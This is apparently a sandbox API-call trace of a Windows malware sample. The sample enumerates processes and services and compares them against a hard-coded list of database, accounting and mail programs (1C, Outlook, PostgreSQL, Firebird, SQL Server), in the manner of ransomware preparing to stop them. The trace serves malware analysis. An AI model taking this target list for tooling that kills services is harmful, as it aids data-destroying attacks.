[0265.501] lstrlenW (lpString="winlogon.exe") returned 12 [0265.501] lstrcmpiW (lpString1="1c8.exe", lpString2="winlogon.exe") returned -1 [0265.501] lstrcmpiW (lpString1="1cv77.exe", lpString2="winlogon.exe") returned -1 [0265.501] lstrcmpiW (lpString1="outlook.exe", lpString2="winlogon.exe") returned -1 [0265.501] lstrcmpiW (lpString1="postgres.exe", lpString2="winlogon.exe") returned -1 [0265.502] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0265.503] lstrlenW (lpString="services.exe") returned 12 [0265.503] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0265.504] lstrlenW (lpString="lsass.exe") returned 9 [0265.504] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0265.505] lstrlenW (lpString="lsm.exe") returned 7 [0265.505] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.506] lstrlenW (lpString="svchost.exe") returned 11 [0265.507] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.507] lstrlenW (lpString="svchost.exe") returned 11 [0265.508] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.509] lstrlenW (lpString="svchost.exe") returned 11 [0265.509] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.510] lstrlenW (lpString="svchost.exe") returned 11 [0265.510] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.511] lstrlenW (lpString="svchost.exe") returned 11 [0265.511] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0265.512] lstrlenW (lpString="audiodg.exe") returned 11 [0265.512] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.513] lstrlenW (lpString="svchost.exe") returned 11 [0265.513] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0265.514] lstrlenW (lpString="explorer.exe") returned 12 [0265.514] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0265.515] lstrlenW (lpString="dwm.exe") returned 7 [0265.515] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.516] lstrlenW (lpString="svchost.exe") returned 11 [0265.516] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0265.517] lstrlenW (lpString="winhost.exe") returned 11 [0265.517] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0265.518] lstrlenW (lpString="spoolsv.exe") returned 11 [0265.518] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0265.519] lstrlenW (lpString="svchost.exe") returned 11 [0265.519] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0265.520] lstrlenW (lpString="taskhost.exe") returned 12 [0265.520] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0265.521] lstrlenW (lpString="reader_sl.exe") returned 13 [0265.521] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0265.523] lstrlenW (lpString="taskhost.exe") returned 12 [0265.523] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x314, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0265.524] lstrlenW (lpString="dllhost.exe") returned 11 [0265.524] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 1 [0265.525] lstrlenW (lpString="consent.exe") returned 11 [0265.525] Process32NextW (in: hSnapshot=0x320, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x368, pcPriClassBase=8, dwFlags=0x0, szExeFile="consent.exe")) returned 0 [0265.526] CloseHandle (hObject=0x320) returned 1 [0265.527] Sleep (dwMilliseconds=0x1f4) [0266.173] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e298 [0266.175] EnumServicesStatusExW (in: hSCManager=0x62e298, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0266.175] GetLastError () returned 0xea [0266.175] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0x113e) returned 0x42e5000 [0266.175] EnumServicesStatusExW (in: hSCManager=0x62e298, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42e5000, cbBufSize=0x113e, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42e5000, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0266.178] CloseServiceHandle (hSCObject=0x62e298) returned 1 [0266.178] lstrlenW (lpString="Appinfo") returned 7 [0266.178] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0266.178] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0266.178] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0266.178] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0266.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0266.179] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0266.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0266.179] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0266.179] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0266.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0266.179] lstrlenW (lpString="AudioSrv") returned 8 [0266.179] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0266.179] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0266.179] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0266.179] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0266.179] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0266.180] lstrlenW (lpString="BFE") returned 3 [0266.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0266.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0266.180] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0266.180] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0266.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0266.180] lstrlenW (lpString="CryptSvc") returned 8 [0266.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0266.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0266.180] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0266.180] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0266.180] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0266.180] lstrlenW (lpString="CscService") returned 10 [0266.180] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0266.180] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0266.181] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0266.181] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0266.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0266.181] lstrlenW (lpString="DcomLaunch") returned 10 [0266.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0266.181] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0266.181] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0266.181] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0266.181] lstrlenW (lpString="Dhcp") returned 4 [0266.181] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0266.181] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0266.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0266.182] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0266.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0266.182] lstrlenW (lpString="Dnscache") returned 8 [0266.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0266.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0266.182] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0266.182] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0266.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0266.182] lstrlenW (lpString="DPS") returned 3 [0266.182] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0266.182] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0266.182] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0266.182] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0266.182] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0266.182] lstrlenW (lpString="eventlog") returned 8 [0266.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0266.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0266.183] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0266.183] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0266.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0266.183] lstrlenW (lpString="EventSystem") returned 11 [0266.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0266.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0266.183] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0266.183] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0266.183] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0266.183] lstrlenW (lpString="gpsvc") returned 5 [0266.183] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0266.183] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0266.184] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0266.184] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0266.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0266.184] lstrlenW (lpString="iphlpsvc") returned 8 [0266.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0266.184] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0266.184] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0266.184] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0266.184] lstrlenW (lpString="LanmanServer") returned 12 [0266.184] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0266.184] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0266.185] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0266.185] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0266.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0266.185] lstrlenW (lpString="LanmanWorkstation") returned 17 [0266.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0266.185] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0266.185] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0266.185] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0266.185] lstrlenW (lpString="lmhosts") returned 7 [0266.185] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0266.185] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0266.185] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0266.186] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0266.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0266.186] lstrlenW (lpString="MMCSS") returned 5 [0266.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0266.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0266.186] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0266.186] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0266.186] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0266.186] lstrlenW (lpString="MpsSvc") returned 6 [0266.186] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0266.186] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0266.186] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0266.187] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0266.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0266.187] lstrlenW (lpString="Netman") returned 6 [0266.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0266.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0266.187] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0266.187] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0266.187] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0266.187] lstrlenW (lpString="netprofm") returned 8 [0266.187] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0266.187] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0266.187] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0266.188] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0266.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0266.188] lstrlenW (lpString="NlaSvc") returned 6 [0266.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0266.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0266.188] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0266.188] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0266.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0266.188] lstrlenW (lpString="nsi") returned 3 [0266.188] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0266.188] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0266.188] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0266.188] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0266.188] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0266.189] lstrlenW (lpString="PcaSvc") returned 6 [0266.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0266.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0266.189] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0266.189] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0266.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0266.189] lstrlenW (lpString="PlugPlay") returned 8 [0266.189] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0266.189] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0266.189] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0266.189] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0266.189] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0266.189] lstrlenW (lpString="Power") returned 5 [0266.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0266.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0266.190] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0266.190] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0266.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0266.190] lstrlenW (lpString="ProfSvc") returned 7 [0266.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0266.190] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0266.190] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0266.190] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0266.190] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0266.190] lstrlenW (lpString="RpcEptMapper") returned 12 [0266.190] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0266.191] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0266.191] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0266.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0266.191] lstrlenW (lpString="RpcSs") returned 5 [0266.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0266.191] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0266.191] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0266.191] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0266.191] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0266.191] lstrlenW (lpString="SamSs") returned 5 [0266.191] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0266.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0266.192] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0266.192] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0266.192] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0266.192] lstrlenW (lpString="Schedule") returned 8 [0266.192] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0266.192] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0266.194] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0266.194] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0266.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0266.194] lstrlenW (lpString="SENS") returned 4 [0266.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0266.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0266.194] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0266.194] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0266.194] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0266.194] lstrlenW (lpString="ShellHWDetection") returned 16 [0266.194] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.194] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0266.194] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0266.194] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0266.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0266.195] lstrlenW (lpString="Spooler") returned 7 [0266.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0266.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0266.195] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0266.195] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0266.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0266.195] lstrlenW (lpString="SysMain") returned 7 [0266.195] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0266.195] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0266.195] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0266.195] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0266.195] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0266.196] lstrlenW (lpString="Themes") returned 6 [0266.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0266.196] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0266.196] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0266.196] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0266.196] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0266.196] lstrlenW (lpString="TrkWks") returned 6 [0266.196] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0266.196] 